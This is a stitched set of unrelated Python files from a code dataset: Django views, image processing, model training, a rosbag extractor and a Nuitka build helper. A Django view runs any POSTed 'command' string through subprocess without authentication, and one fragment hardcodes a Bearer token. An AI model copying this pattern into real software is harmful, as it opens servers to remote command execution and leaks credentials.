\"859977c6f22b4f9ce98d4b02d031b4a8\", \"sign\": sign}\nprint(querystring)\nheaders = {\n 'Content-Type': \"application/json\",\n 'Authorization': \"Bearer erJCQ3JZMbAAcTinU5JMjcRHdl68e5Om.4oDCinNVwzRNp2x6VF%2FIOd0Qydp9sQk4MWHZQjc5Yxo\",\n 'cache-control': \"no-cache\"\n}\nresponse = requests.request(\"POST\", url, data=payload, headers=headers, params=querystring)\nprint(response.text)\n","sub_path":"IDGdemo/shops/xingbaketest/9999.py","file_name":"9999.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"74708015","text":"\"\"\"\nSample code to read an image and estimate the disparity\nParameters can be input by hand or predefinite ones will be used\n----\n@veresion v1.1 - Januar 2017\n@author Luca Palmieri\n\"\"\"\nimport disparity.disparity_methods as rtxmain\nimport plenopticIO.imgIO as imgIO\nimport argparse\nimport os\nimport json\nimport pdb\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser(description=\"Read an image and estimate disparity\")\n parser.add_argument(dest='input_filename', nargs=1, help=\"Name of the lens config file\")\n parser.add_argument('-o', dest='output_path', default='./')\n parser.add_argument('--coarse', default=False, action='store_true')\n parser.add_argument('-t', dest='technique', default='sad')\n parser.add_argument('-dmin', dest='min_disp', default='1')\n parser.add_argument('-dmax', dest='max_disp', default='9')\n parser.add_argument('-nd', dest='num_disp', default='16')\n parser.add_argument('-scene', dest='scene_type', default='real')\n parser.add_argument('-err', dest='error', default=False)\n \n args = parser.parse_args()\n\n if os.path.exists(args.output_path) is False:\n raise OSError('Path {0} does not exist'.format(args.output_path))\n \n params = rtxmain.EvalParameters()\n params.filename = args.input_filename[0]\n params.coarse = args.coarse\n params.technique = args.technique\n params.method = 'real_lut'\n params.min_disp = args.min_disp\n params.max_disp = args.max_disp\n params.num_disp = args.num_disp\n params.scene_type = args.scene_type\n params.analyze_err = args.error\n \n full_name, nothing = params.filename.split('.xml')\n separate_names = full_name.split('/')\n pic_name = separate_names[len(separate_names)-1]\n \n I, disp, Dwta, Dgt, Dconf, Dcoarse, disparities, ncomp, disp_avg, new_offset, error_measurements = rtxmain.estimate_disp(params)\n\n disp_name = \"{0}/{1}_disp_{2}_{3}_{4}_{5}.png\".format(args.output_path, pic_name, params.method, disparities[0], disparities[-1], params.technique) \n disp_name_col = \"{0}/{1}_disp_col_{2}_{3}_{4}_{5}.png\".format(args.output_path, pic_name, params.method, disparities[0], disparities[-1], params.technique) \n gt_name = \"{0}/{1}_gt_{2}_{3}_{4}_{5}.png\".format(args.output_path, pic_name, params.method, disparities[0], disparities[-1], params.technique) \n gt_name_col = \"{0}/{1}_gt_col_{2}_{3}_{4}_{5}.png\".format(args.output_path, pic_name, params.method, disparities[0], disparities[-1], params.technique) \n\n plt.subplot(121)\n plt.title(\"Input Image\")\n plt.imshow(I)\n plt.subplot(122)\n plt.title(\"Disparity Image\")\n plt.imshow(disp, vmin=disparities[0], vmax=disparities[-1], cmap='jet')\n plt.show()\n \n if Dgt is not None:\n plt.imsave(gt_name, Dgt, vmin=np.min(Dgt), vmax=np.max(Dgt), cmap='gray')\n plt.imsave(gt_name_col, Dgt, vmin=np.min(Dgt), vmax=np.max(Dgt), cmap='jet')\n\n if error_measurements is not None:\n #save in a file the errors\n error_analysis = dict()\n error_analysis['avg_error'] = error_measurements[0]\n error_analysis['mask_error'] = error_measurements[1]\n error_analysis['mse_error'] = error_measurements[2]\n badPix1, badPix2, badPixGraph = error_measurements[3]\n error_analysis['badpix1_avg'] = np.mean(badPix1)\n error_analysis['badpix2_avg'] = np.mean(badPix2)\n plotting = np.mean(badPixGraph, axis=0)\n error_analysis['err_threshold'] = plotting.tolist()\n error_analysis['bumpiness'] = error_measurements[4]\n depth_disc, depth_smooth, badPix1Disc, badPix2Disc, badPix1Smooth, badPix2Smooth, badPixGraphDisc, badPixGraphSmooth = error_measurements[5]\n error_analysis['badpix1disc'] = np.mean(badPix1Disc)\n error_analysis['badpix1smooth'] = np.mean(badPix1Smooth)\n error_analysis['badpix2disc'] = np.mean(badPix2Disc)\n error_analysis['badpix2smooth'] = np.mean(badPix2Smooth)\n plottingdisc = np.mean(badPixGraphDisc, axis=0)\n error_analysis['err_thr_disc'] = plottingdisc.tolist()\n plottingsmth = np.mean(badPixGraphSmooth, axis=0)\n error_analysis['err_thr_smooth'] = plottingsmth.tolist()\n error_analysis['disc_err'] = depth_disc\n error_analysis['smooth_err'] = depth_smooth \n err_ana_name = \"{0}/{1}_error_analysis_{2}_{3}_{4}.json\".format(args.output_path, pic_name, disparities[0], disparities[-1], params.technique) \n err_ana_csv = \"{0}/{1}_error_analysis_{2}_{3}_{4}.csv\".format(args.output_path, pic_name, disparities[0], disparities[-1], params.technique) \n err_arr_csv = \"{0}/{1}_error_array_{2}_{3}_{4}.csv\".format(args.output_path, pic_name, disparities[0], disparities[-1], params.technique) \n imgIO.write_csv_file(error_analysis, err_ana_csv, params.technique)\n plotting_arrays = [plotting, plottingdisc, plottingsmth]\n imgIO.write_csv_array(plotting_arrays, err_arr_csv, params.technique)\n \n plt.imsave(disp_name, disp, vmin=disparities[0], vmax=disparities[-1], cmap='gray')\n plt.imsave(disp_name_col, disp, vmin=disparities[0], vmax=disparities[-1], cmap='jet')\n","sub_path":"python/samples/disparity_sample.py","file_name":"disparity_sample.py","file_ext":"py","file_size_in_byte":5210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"302611321","text":"from django.shortcuts import render\nfrom django.urls import reverse\nfrom .models import ProcessingTask, ProcessingStatus, QueuePosition\nfrom django.http import HttpResponse, JsonResponse\nfrom django.core.serializers import serialize\nfrom django.db import transaction\nfrom django.views.decorators.csrf import ensure_csrf_cookie\n\nimport json\nimport subprocess\nimport threading\n\n\ndef check_next_task():\n \"\"\"Checks if server is running and nothing is currently being processed, then starts the next task in queue.\"\"\"\n print(\"Checking next task\")\n\n status = ProcessingStatus.objects.first()\n ready_for_task = False\n if status:\n ready_for_task = (status.is_running and not status.current_task)\n else:\n print(\"Warning: No status object found.\")\n\n if ready_for_task:\n queue = QueuePosition.objects.all().order_by('position')\n\n if queue:\n task = queue.first().task\n\n # Start the task.\n thread = threading.Thread(target=run_task, args=[task], daemon=True)\n thread.start()\n\n # Set it to the currently running task.\n status = ProcessingStatus.objects.get()\n status.current_task = task\n status.save()\n else:\n print(\"No tasks available\")\n\n\ndef start_processing():\n print(\"Starting processing\")\n status = ProcessingStatus.objects.get()\n status.is_running = True\n status.save()\n\n # Start next task in processing queue.\n check_next_task()\n\n\ndef pause_processing():\n print(\"Pausing processing\")\n status = ProcessingStatus.objects.get()\n status.is_running = False\n status.save()\n\n\ndef switch_processing(request):\n status = ProcessingStatus.objects.get()\n if status.is_running:\n pause_processing()\n else:\n start_processing()\n\n # Get status again as it has probably changed.\n status = ProcessingStatus.objects.get()\n return HttpResponse(status.is_running)\n\n\ndef check_processing(request):\n \"\"\"Just return whether server is running or not.\"\"\"\n status = ProcessingStatus.objects.get()\n\n return HttpResponse(status.is_running)\n\n\ndef run_task(task):\n print(\"Running a task!!\")\n try:\n subprocess.check_call(task.call)\n except Exception as e:\n print(\"Task \" + str(task.id) + \" failed.\")\n print(task.call)\n print(e)\n task.is_done = True\n task.save()\n print(\"Finished task \" + str(task.id))\n\n # Remove this task from queue and update all other positions.\n try:\n with transaction.atomic(): # Don't allow any other changes to database while the following runs.\n queue = QueuePosition.objects.all().order_by('position')\n if queue:\n if queue[0].task != task:\n print(\"Warning: First item in queue was not the same as the completed task. Something is wrong!\")\n else:\n for idx, queue_item in enumerate(queue):\n if idx == 0:\n queue_item.delete()\n else:\n queue_item.position = idx - 1\n queue_item.save()\n except Exception as e: # TODO Catch more specific exceptions.\n print(\"Something failed when updating queue.\")\n print(e)\n # TODO Maybe we want to clear the queue or something.\n\n # Remove from status.\n status = ProcessingStatus.objects.get()\n status.current_task = None\n status.save()\n\n check_next_task()\n\n\n# @ensure_csrf_cookie\ndef add_task(request):\n # Get length of queue.\n current_queue_length = len(QueuePosition.objects.all())\n\n # Create new task.\n task = ProcessingTask()\n task.title = \"Just another task\"\n task.added_by = \"Mikael\"\n task.position = current_queue_length + 1\n task.call = request.POST['command']\n task.save()\n\n # Create queue position.\n queue_pos = QueuePosition()\n queue_pos.position = current_queue_length\n queue_pos.task = task\n queue_pos.save()\n\n check_next_task()\n\n return HttpResponse(str(task.position)) # TODO THis should probably be a JsonResponse later\n\n\ndef get_current_task(request):\n # Get current task from database.\n status = ProcessingStatus.objects.first()\n\n if status:\n current_task = status.current_task\n else:\n current_task = None\n\n if not current_task:\n # Create an empty json element.\n current_task_json = serialize(\"json\", [])\n else:\n # Serialize the task object as json.\n current_task_json = serialize(\"json\", [current_task])\n\n return HttpResponse(current_task_json, content_type=\"application/json\")\n\n\ndef get_finished_tasks(request):\n # Get all finished tasks from database.\n finished_tasks = ProcessingTask.objects.filter(is_done=True)\n\n # Serialize the task objects as json.\n finished_tasks_json = serialize(\"json\", finished_tasks)\n\n # Pass them as an HttpResponse (JsonResponse would try to serialize the variable again).\n return HttpResponse(finished_tasks_json, content_type=\"application/json\")\n\n\ndef get_queued_tasks(request):\n # Get whole queue.\n queue = QueuePosition.objects.all()\n # Get all ProcessingTasks that appear as foreign keys in queue and that is not a foreign key in ProcessingStatus.\n queued_tasks = ProcessingTask.objects.filter(queueposition__in=queue, processingstatus=None)\n\n # Serialize the task objects as json.\n queued_tasks_json = \"{}\"\n if queued_tasks:\n queued_tasks_json = serialize(\"json\", queued_tasks)\n\n # Pass them as an HttpResponse (JsonResponse would try to serialize the variable again).\n return HttpResponse(queued_tasks_json, content_type=\"application/json\")\n\n\n@ensure_csrf_cookie\ndef index(request):\n print(\"Entering index function\")\n task_list = ProcessingTask.objects.all()\n\n # Check if a ProcessingStatus exists and create one if not.\n status = ProcessingStatus.objects.all()\n if not status:\n new_status = ProcessingStatus()\n new_status.is_running = True\n new_status.current_task = None\n new_status.save()\n\n default_command = \"python C:/spotscale/development/queui/wait_and_print.py whatevs\"\n\n return render(request, 'processing/index.html', {'start_text': default_command})\n","sub_path":"processing/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"25029108","text":"'''\n File name: animate.py\n Author: Zheyuan Xie\n Date created: 2018-10-22\n'''\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom PIL import Image, ImageOps\nimport cv2\n\nfrom genEngMap import genEngMap\nfrom cumMinEngHor import cumMinEngHor\nfrom cumMinEngVer import cumMinEngVer\n\ndef visSeam(I, seamDirection='V'):\n e = genEngMap(I)\n if seamDirection == 'V':\n Mx, Tbx = cumMinEngVer(e)\n height = np.size(Mx,axis=0)\n width = np.size(Mx,axis=1)\n Is = I.copy()\n seam_id = np.argmin(Mx[height-1,:])\n for i in reversed(range(0,height)):\n Is[i:i+1,int(seam_id),:] = np.array([255,255,255])\n seam_id = seam_id + Tbx[i,int(seam_id)]\n elif seamDirection == 'H':\n My, Tby = cumMinEngHor(e)\n height = np.size(My,axis=0)\n width = np.size(My,axis=1)\n Is = I.copy()\n seam_id = np.argmin(My[:,width-1])\n for i in reversed(range(0,width)):\n Is[int(seam_id),i:i+1,:] = np.array([255,255,255])\n seam_id = seam_id + Tby[int(seam_id),i]\n return Is\n\ndef animate(TI, TB, nr, nc):\n # TI is (nr+1, nc+1) array containing images\n # TB is (nr+1, nc+1) array containing traceback direction\n r = nr\n c = nc\n frames = np.zeros((nr+nc+1,),dtype=np.ndarray)\n frames[0] = TI[0,0]\n shape = np.shape(frames[0])\n while(r > 0 or c > 0):\n if TB[r,c] == 'R':\n frames[r+c] = visSeam(TI[r,c].astype(np.uint8),'H')\n c -= 1\n elif TB[r,c] == 'D':\n frames[r+c] = visSeam(TI[r,c].astype(np.uint8),'V')\n r -= 1\n frames[nr+nc] = TI[nr,nc] # do not visualize seam on the final Image\n \n for i in range(nr+nc+1):\n im = Image.fromarray(frames[i])\n padding = (0,0,shape[1] - frames[i].shape[1], shape[0] - frames[i].shape[0])\n new_im = ImageOps.expand(im, padding)\n new_im.save('./Frames/f%d.jpg'%i)\n\nif __name__==\"__main__\":\n from carv import carv\n from PIL import Image\n import time\n\n I = np.array(Image.open('test1_image.jpg').convert('RGB'))\n t0 = time.time()\n Ic,T = carv(I,10,50,gen_animate=True)\n result = Image.fromarray(Ic)\n result.save('test1_result.jpg')\n print('Total Time:',time.time()-t0)\n plt.imshow(Ic)\n plt.show()","sub_path":"2b_SeamCarving/animate.py","file_name":"animate.py","file_ext":"py","file_size_in_byte":2257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"88563565","text":"from collections import defaultdict\n\nN = int(input())\nA = list(map(int, input().split()))\nB = [0]*N\nB[0] = A[0]\nfor i in range(1, N):\n B[i] = B[i-1]+A[i]*(-1)**i\n# print(B)\n\nd = defaultdict(int)\nd[0] += 1\nfor b in B:\n d[b] += 1\n# print(d)\n\nans = 0\nfor key in d.keys():\n n = d[key]\n ans += n*(n-1)//2\nprint(ans)","sub_path":"ARC119/C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"129296827","text":"#!/usr/bin/env python\n\n\"\"\"\nCan be used to extract all images from a certain topic from a rosbag into a directory.\n\"\"\"\n\nimport argparse\nimport os\n\nimport rosbag\nimport cv2\nimport numpy as np\nimport cv_bridge\nimport collections\n\n\ndef get_img_messages(path, img_topic, compressed=False):\n \"\"\"\n \"\"\"\n assert isinstance(path, str)\n assert isinstance(img_topic, str)\n\n bag = rosbag.Bag(path)\n\n _, topics = bag.get_type_and_topic_info()\n\n if img_topic not in topics:\n raise ValueError(\"Could not find the requested topic (%s) in the bag %s\" % (img_topic, path))\n\n imgs = []\n bridge = cv_bridge.CvBridge()\n for msg in bag.read_messages():\n topic = msg.topic\n if topic != img_topic:\n continue\n if compressed:\n img = bridge.compressed_imgmsg_to_cv2(msg.message)\n else:\n img = bridge.imgmsg_to_cv2(msg.message)\n imgs.append(img)\n bag.close()\n\n return imgs\n\n\ndef main():\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"--bag\", required=True)\n parser.add_argument(\"--tgt_dir\", required=True)\n parser.add_argument(\"--topic\", required=True)\n parser.add_argument(\"--compressed\", action=\"store_true\")\n\n args = parser.parse_args()\n\n imgs = get_img_messages(args.bag, args.topic, args.compressed)\n\n for idx, img in enumerate(imgs):\n path = os.path.join(args.tgt_dir, \"{0:05d}.jpg\".format(idx))\n cv2.imwrite(path, img)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"scripts/log_to_imgs.py","file_name":"log_to_imgs.py","file_ext":"py","file_size_in_byte":1498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"164076161","text":"from django.shortcuts import render, redirect\nfrom django.contrib import messages\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.decorators import login_required\nfrom .forms import \\\n UserRegisterForm, UserUpdateForm, ProfileUpdateForm, ProfileViewForm\nfrom .models import Profile\nfrom django.http import JsonResponse\nfrom django.contrib.auth.password_validation import validate_password\nfrom django.core import exceptions\n\n\n@login_required\ndef show_users(request):\n all_users = Profile.objects.all()\n offer = []\n for i in range(len(all_users)):\n if all_users[i].placed_in != 'NoOffer':\n offer.append(all_users[i])\n\n return render(request, \"placement/show_offers.html\", {'offers': offer})\n\n\ndef register(request):\n if request.method == 'POST':\n form = UserRegisterForm(request.POST)\n if form.is_valid():\n form.save()\n username = form.cleaned_data.get('username')\n messages.success(request, f'Your account has been created! You are now able to log in')\n return redirect('login')\n else:\n form = UserRegisterForm()\n return render(request, 'users/register.html', {'form': form})\n\n\n@login_required\ndef profile(request):\n if request.method == 'POST':\n u_form = UserUpdateForm(request.POST, instance=request.user)\n p_form = ProfileUpdateForm(request.POST,\n request.FILES,\n instance=request.user.profile)\n if u_form.is_valid() and p_form.is_valid():\n u_form.save()\n p_form.save()\n messages.success(request, f'Your account has been updated!')\n return redirect('profile')\n\n else:\n u_form = UserUpdateForm(instance=request.user)\n p_form = ProfileUpdateForm(instance=request.user.profile)\n v_form = ProfileViewForm(instance=request.user.profile)\n\n context = {\n 'u_form': u_form,\n 'p_form': p_form,\n 'v_form': v_form\n }\n\n return render(request, 'users/profile.html', context)\n\n\n@login_required\ndef delete_user(request, username):\n context = {}\n print(username)\n try:\n u = User.objects.get(id=username)\n u.delete()\n messages.success(request, f'Your account has been Deleted!!...Create New Account')\n except User.DoesNotExist:\n context['msg'] = 'User does not exist.'\n except Exception as e:\n context['msg'] = e.message\n\n form = UserRegisterForm()\n return render(request, 'users/register.html', {'form': form})\n\n\ndef validate_login(request):\n # request should be ajax and method should be GET.\n if request.is_ajax and request.method == \"GET\":\n user_name = request.GET.get(\"username\")\n # check for the user name in the database.\n if User.objects.filter(username=user_name).exists():\n return JsonResponse({\"valid\": True}, status=200)\n\n # if username not found, then user can't login.\n else:\n return JsonResponse({\n \"valid\": False,\n \"msg\": \"This user do not exist. Please register.\"\n }, status=200)\n \ndef is_username(s):\n for i in s.lower():\n if i not in 'abcdefghijklmnopqrstuvwxyz1234567890@.-_':\n return False\n return True\n\n\ndef validate(request, field):\n # request should be ajax and method should be GET.\n if request.is_ajax and request.method == \"GET\":\n\n if field == 'username':\n\n user_name = request.GET.get(\"username\", None)\n # check for valid username.\n if not is_username(user_name):\n return JsonResponse({\n \"valid\": False,\n \"msg\": \"Enter a valid username. This value may contain \\\n only letters, numbers and @/./+/-/_ .\"\n }, status=200)\n\n # check for the user name in the database.\n if User.objects.filter(username=user_name).exists():\n return JsonResponse({\n \"valid\": False,\n \"msg\": \"A user with that username already exists.\"\n }, status=200)\n\n # if username not found, then user can be created.\n else:\n return JsonResponse({\"valid\": True}, status=200)\n\n elif field == 'email':\n\n user_email = request.GET.get(\"email\", None)\n\n # check for email in database\n if User.objects.filter(email=user_email).exists():\n return JsonResponse({\n \"valid\": False,\n \"msg\": \"A user with that e-mail already exists.\"\n }, status=200)\n else:\n return JsonResponse({\"valid\": True}, status=200)\n\n elif field == 'password1':\n\n user_password = request.GET.get(\"password1\", None)\n\n res = None\n\n try:\n validate_password(password=user_password, user=User)\n\n except exceptions.ValidationError as e:\n res = list(e.messages)\n\n if res is not None:\n return JsonResponse({\n \"valid\": False,\n \"msg\": res,\n })\n else:\n return JsonResponse({\"valid\": True}, status=200)\n\n else:\n return JsonResponse({}, status=400)\n","sub_path":"users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"392046435","text":"import cv2\nimport numpy as np\nimport bisober_v79\nimport vgg16\nimport tensorflow as tf\nimport os\nimport evaluate\n\nos.environ['CUDA_VISIBLE_DEVICES'] = '0'\n#gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=0.5)\ngpu_options = tf.GPUOptions(allow_growth=True)\n\n\ndef load_train_val_ecssd():\n files = []\n labels = []\n files_ecssd=[]\n labels_ecssd=[]\n\n with open('./DUTS/DUTS-TR/dut_train.txt') as f:\n lines = f.read().splitlines()\n\n for line in lines:\n labels.append('./DUTS/DUTS-TR/DUTS-TR-Mask/%s' % line)\n files.append('./DUTS/DUTS-TR/DUTS-TR-Image/%s' % line.replace('.png', '.jpg'))\n\n with open('./ECSSD/ecssd.txt') as f:\n lines = f.read().splitlines()\n\n for line in lines:\n files_ecssd.append('./ECSSD/images/%s' % line.replace('.png', '.jpg'))\n labels_ecssd.append('./ECSSD/gt/%s' % line)\n\n return files, labels, files_ecssd, labels_ecssd\n\nif __name__ == \"__main__\":\n\n model = bisober_v79.Model()\n model.build_model()\n\n# sess = tf.Session()\n sess = tf.Session(config=tf.ConfigProto(gpu_options=gpu_options))\n\n max_grad_norm = 1\n tvars = tf.trainable_variables()\n grads, _ = tf.clip_by_global_norm(tf.gradients(model.Loss_Mean, tvars), max_grad_norm)\n opt = tf.train.AdamOptimizer(1e-6)\n train_op = opt.apply_gradients(zip(grads, tvars))\n\n sess.run(tf.global_variables_initializer())\n ckpt = tf.train.get_checkpoint_state('/mnt/hdd1/zhengtao/bi_sq/V79_2_Model')\n saver = tf.train.Saver(max_to_keep=32)\n saver.restore(sess, ckpt.model_checkpoint_path)\n\n train_list, label_list, ecssd_list, labels_ecssd = load_train_val_ecssd()\n\n n_epochs = 32\n img_size = bisober_v79.img_size\n label_size = bisober_v79.label_size\n os.mkdir('/mnt/hdd1/zhengtao/bi_sq/V79_3_Model')\n f = open(\"/mnt/hdd1/zhengtao/bi_sq/v79_3.txt\", \"w\") \n for i in range(n_epochs):\n whole_loss = 0.0\n whole_acc = 0.0\n count = 0\n ecssd_loss=0.0\n ecssd_acc=0.0\n ecssd_count=0\n \n for f_img, f_label in zip(train_list, label_list):\n img = cv2.imread(f_img).astype(np.float32)\n label = cv2.imread(f_label)[:, :, 0].astype(np.float32)\n \n if(i%2==0):\n img = cv2.resize(img, (img_size, img_size)) - vgg16.VGG_MEAN\n label = cv2.resize(label, (label_size, label_size))\n label = label.astype(np.float32) / 255.\n label = np.stack((label, 1-label), axis=2)\n label = np.reshape(label, [-1, 2])\n img = img.reshape((1, img_size, img_size, 3))\n _, loss, acc = sess.run([train_op, model.Loss_Mean, model.accuracy],\n feed_dict={model.input_holder: img,\n model.label_holder: label,\n model.training: True})\n whole_loss += loss\n whole_acc += acc\n count = count + 1\n if(i%2==1):\n # add horizon flip image for training\n img_flip = cv2.flip(img, 1)\n label_flip = cv2.flip(label, 1)\n \n img_flip = cv2.resize(img_flip, (img_size, img_size)) - vgg16.VGG_MEAN\n label_flip = cv2.resize(label_flip, (label_size, label_size))\n label_flip = label_flip.astype(np.float32) / 255.\n img_flip = img_flip.reshape((1, img_size, img_size, 3))\n label_flip = np.stack((label_flip, 1 - label_flip), axis=2)\n label_flip = np.reshape(label_flip, [-1, 2])\n _, loss, acc = sess.run([train_op, model.Loss_Mean, model.accuracy],\n feed_dict={model.input_holder: img_flip,\n model.label_holder: label_flip,\n model.training: True})\n whole_loss += loss\n whole_acc += acc\n count = count + 1\n # if(i%4==1):\n # # add vertical flip image for training\n # img_flip = cv2.flip(img, 0)\n # label_flip = cv2.flip(label, 0)\n \n # img_flip = cv2.resize(img_flip, (img_size, img_size)) - vgg16.VGG_MEAN\n # label_flip = cv2.resize(label_flip, (label_size, label_size))\n # label_flip = label_flip.astype(np.float32) / 255.\n # img_flip = img_flip.reshape((1, img_size, img_size, 3))\n # label_flip = np.stack((label_flip, 1 - label_flip), axis=2)\n # label_flip = np.reshape(label_flip, [-1, 2])\n # _, loss, acc = sess.run([train_op, model.Loss_Mean, model.accuracy],\n # feed_dict={model.input_holder: img_flip,\n # model.label_holder: label_flip,\n # model.training: True})\n # whole_loss += loss\n # whole_acc += acc\n # count = count + 1\n # if(i%4==2):\n # # reverse img\n # img = cv2.resize(img, (img_size, img_size)) - vgg16.VGG_MEAN\n # label = cv2.resize(label, (label_size, label_size))\n # label = label.astype(np.float32) / 255.\n # img = - img\n # img = img.reshape((1, img_size, img_size, 3))\n # label = np.stack((label, 1 - label), axis=2)\n # label = np.reshape(label, [-1, 2])\n # _, loss, acc = sess.run([train_op, model.Loss_Mean, model.accuracy],\n # feed_dict={model.input_holder: img,\n # model.label_holder: label,\n # model.training: True})\n # whole_loss += loss\n # whole_acc += acc\n # count = count + 1\n\n if count % 200 == 0:\n print(\"v79 Loss of %d images: %f, Accuracy: %f\" % (count, (whole_loss/count), (whole_acc/count)),file=f)\n f.flush()\n\n saver.save(sess, '/mnt/hdd1/zhengtao/bi_sq/V79_3_Model/model.ckpt', global_step=i)\n \n prec = []\n recall = [] \n for f_img, f_label in zip(ecssd_list,labels_ecssd):\n\n img = cv2.imread(f_img).astype(np.float32)\n img_shape = img.shape\n\n label_gt = cv2.imread(f_label)[:, :, 0].astype(np.float32)\n\n\n img = cv2.resize(img, (img_size, img_size)) - vgg16.VGG_MEAN\n label = cv2.resize(label_gt, (label_size, label_size))\n label = label.astype(np.float32) / 255.\n\n img = img.reshape((1, img_size, img_size, 3))\n label = np.stack((label, 1-label), axis=2)\n label = np.reshape(label, [-1, 2])\n\n loss, acc, result = sess.run([model.Loss_Mean, model.accuracy,model.Prob],\n feed_dict={model.input_holder: img,\n model.label_holder: label,\n model.training: False})\n result = np.reshape(result, (label_size, label_size, 2))\n result = result[:, :, 0]\n result = cv2.resize(np.squeeze(result), (img_shape[1], img_shape[0]))\n label_gt=label_gt.astype(np.float32) / 255\n curPrec, curRecall=evaluate.PR_Curve(result,label_gt)\n prec.append(curPrec)\n recall.append(curRecall)\n\n\n ecssd_loss += loss\n ecssd_acc += acc\n ecssd_count = ecssd_count + 1\n\n # add horizon flip image for training\n\n if ecssd_count==len(ecssd_list):\n print(\"v79 Epoch ECSSD %d:loss %f, Accuracy %f\" % (i, (ecssd_loss/len(ecssd_list)),(ecssd_acc/len(ecssd_list))),file=f)\n f.flush()\n prec = np.hstack(prec[:])\n recall = np.hstack(recall[:])\n prec = np.mean(prec, 1)\n recall = np.mean(recall, 1)\n score = (1+np.sqrt(0.3)**2)*prec*recall / (np.sqrt(0.3)**2*prec + recall)\n curScore = np.max(score)\n print(\"v79 Epoch %d:F_measure %f\" % (i, curScore),file=f)\n \n print(\"v79 Epoch %d:loss %f, Accuracy %f\" % (i, (whole_loss/len(train_list)),(whole_acc/len(train_list))),file=f)\n f.flush()\n f.close()\n \n \n \n","sub_path":"GeminiNet/Stage A/TrainingModel_v79.py","file_name":"TrainingModel_v79.py","file_ext":"py","file_size_in_byte":8478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"232601990","text":"import string\n\ndef getMove(p):\n\n ## ask for input\n move = input(\"Your move, {}: \".format(p))\n \n ## only take the first two chars\n move = move[:2]\n\n # no bad input handling yet\n\n ## 1st char is x value, convert ASCII to int value\n x = move[0].upper()\n x = (ord(x) - 65) # subtract value of capital A to set to zero-origin for array index\n\n ## 2nd char is y value, cast to int\n y = move[1]\n y = (int(y) - 1) # subtract 1 to set to zero-origin for array index\n\n # print(str(x) + \",\" + str(y))\n\n # board array location reference is reverse from user input\n return (y,x,p)\n ","sub_path":"getMove.py","file_name":"getMove.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"185560419","text":"# Copyright 2013, Kay Hayen, mailto:kay.hayen@gmail.com\n#\n# Part of \"Nuitka\", an optimizing Python compiler that is compatible and\n# integrates with CPython, but also works on its own.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\"\"\" Scons interface.\n\nInteraction with scons. Find the binary, and run it with a set of given\noptions.\n\n\"\"\"\n\nfrom nuitka import Options, Tracing, Utils\n\nimport os, sys\n\ndef getSconsDataPath():\n return Utils.dirname( __file__ )\n\ndef getSconsInlinePath():\n return Utils.joinpath( getSconsDataPath(), \"inline_copy\" )\n\ndef getSconsBinaryPath():\n if Utils.isFile( \"/usr/bin/scons\" ):\n return \"/usr/bin/scons\"\n else:\n return Utils.joinpath( getSconsInlinePath(), \"bin\", \"scons.py\" )\n\ndef runScons( options, quiet ):\n # For the scons file to find the static C++ files and include path. The scons file is\n # unable to use __file__ for the task.\n os.environ[ \"NUITKA_SCONS\" ] = getSconsDataPath()\n\n if os.name == \"nt\":\n # On Windows this Scons variable must be set by us.\n os.environ[ \"SCONS_LIB_DIR\" ] = Utils.joinpath( getSconsInlinePath(), \"lib\", \"scons-2.0.1\" )\n\n # Also, for MinGW we can avoid the user having to add the path if he used the\n # default path or installed it on the same drive by appending to the PATH variable\n # before executing scons.\n os.environ[ \"PATH\" ] += r\";\\MinGW\\bin;C:\\MinGW\\bin\"\n\n # Scons is Python2 only, so we need to make the system find a suitable Python binary.\n if Utils.python_version < 300:\n python_exe = sys.executable\n elif os.name == \"nt\":\n if os.path.exists( r\"c:\\Python27\\python.exe\" ):\n python_exe = r\"c:\\Python27\\python.exe\"\n elif os.path.exists( r\"c:\\Python26\\python.exe\" ):\n python_exe = r\"c:\\Python26\\python.exe\"\n else:\n sys.exit( \"\"\"Error, need to find Python2 executable under C:\\\\Python26 or \\\nC:\\\\Python27 to execute scons which is not Python3 compatible.\"\"\" )\n else:\n python_exe = \"python\"\n\n scons_command = \"\"\"%(python)s %(binary)s %(quiet)s --warn=no-deprecated -f %(scons_file)s --jobs %(job_limit)d %(options)s\"\"\" % {\n \"python\" : python_exe,\n \"binary\" : getSconsBinaryPath(),\n \"quiet\" : \"--quiet\" if quiet else \"\",\n \"scons_file\" : Utils.joinpath( getSconsDataPath(), \"SingleExe.scons\" ),\n \"job_limit\" : Options.getJobLimit(),\n \"options\" : \" \".join( \"%s=%s\" % ( key, value ) for key, value in options.items() )\n }\n\n if Options.isShowScons():\n Tracing.printLine( \"Scons command:\", scons_command )\n\n return 0 == os.system( scons_command 